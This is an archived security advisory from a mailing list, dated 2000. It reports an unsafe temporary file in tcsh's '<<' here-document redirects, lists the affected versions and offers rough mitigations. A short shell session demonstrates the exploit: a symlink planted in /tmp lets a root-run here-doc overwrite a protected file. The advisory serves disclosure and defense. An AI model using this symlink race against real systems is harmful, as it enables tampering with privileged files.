OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Subject: tcsh: unsafe tempfile in << redirects
From: proton (protonENERGYMECH.NET)
Date: Sat Oct 28 2000 - 23:43:35 CDT


PROBLEM:

/tmp# echo 'hello world' > rootfile
/tmp# chmod 600 rootfile
/tmp# ln -s rootfile sh$$
/tmp# chown -h 666.666 sh$$
/tmp# ls -l rootfile sh$$
-rw------- 1 root root 12 Oct 29 03:55 rootfile
lrwxrwxrwx 1 666 666 8 Oct 29 03:56 sh12660 ->
rootfile
/tmp# cat <<BAR
? FOO
? BAR
FOO
o world
/tmp# ls -l rootfile sh$$
/bin/ls: sh12660: No such file or directory
-rw------- 1 root root 12 Oct 29 03:56 rootfile
/tmp# cat rootfile
FOO
o world
/tmp#

VULNERABLE VERSIONS:

6.07.02 (Astron) 1996-10-27
6.08.00 (Astron) 1998-10-02
6.09.00 (Astron) 1999-08-16 (latest)

(no other versions tested)

FIX:

make sure root (and other sensitive user accounts) doesnt have any
predictable jobs (cron, ~/.cshrc, ...) that uses tcsh AND `<<'
redirects.

patch the source somehow..
(available at ftp://ftp.astron.com/pub/tcsh/ )

/proton